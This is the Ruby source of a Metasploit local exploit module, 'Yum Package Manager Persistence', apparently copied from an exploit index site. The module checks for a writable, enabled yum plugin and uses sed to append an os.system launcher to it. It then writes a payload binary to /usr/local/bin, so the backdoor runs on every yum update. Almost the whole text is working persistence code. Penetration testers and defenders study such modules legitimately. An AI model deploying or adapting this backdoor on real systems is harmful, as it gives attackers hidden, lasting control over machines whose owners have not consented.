## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-YUM_PACKAGE_MANAGER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/yum_package_manager_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Yum Package Manager Persistence',
'Description' => %q{
This module will run a payload when the package manager is used.
This module modifies a yum plugin to launch a binary of choice.
grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.
root persmissions are likely required.
Verified on Centos 7.1
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
'References' => [
['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
]
)
register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
]
)
end
def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
# /etc/yum.conf must contain plugins=1 for plugins to run at all
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
vprint_good('Plugins are enabled!')
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
unless plugin_enabled.include? 'enabled=1'
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
end
# check that the plugin contains an import os, to backdoor
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
unless import_os_check.include? 'import os'
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
end
CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
end
def install_persistence
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
# plugins are made in python and generate pycs on successful execution
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
# check for write in backdoor path and set/generate backdoor name
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
# check for sed binary and then append launcher to plugin underneath
print_status('Attempting to modify plugin')
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
sed_path = cmd_exec 'command -v sed'
unless sed_path.include?('sed')
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
end
sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
cmd_exec sed_line
# actually write users payload to be executed then check for write
if payload.arch.first == 'cmd'
write_file(payload_path, payload.encoded)
else
write_file(payload_path, generate_payload_exe)
end
@clean_up_rc << "rm #{payload_path}\n"
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
unless exist? payload_path
fail_with Failure::Unknown, "Failed to write #{payload_path}"
end
# change perms to reflect bins in /usr/local/bin/, give good feels
chmod(payload_path, 0o755)
print_status("Backdoor uploaded to #{payload_path}")
print_good('Backdoor will run on next Yum update')
end
end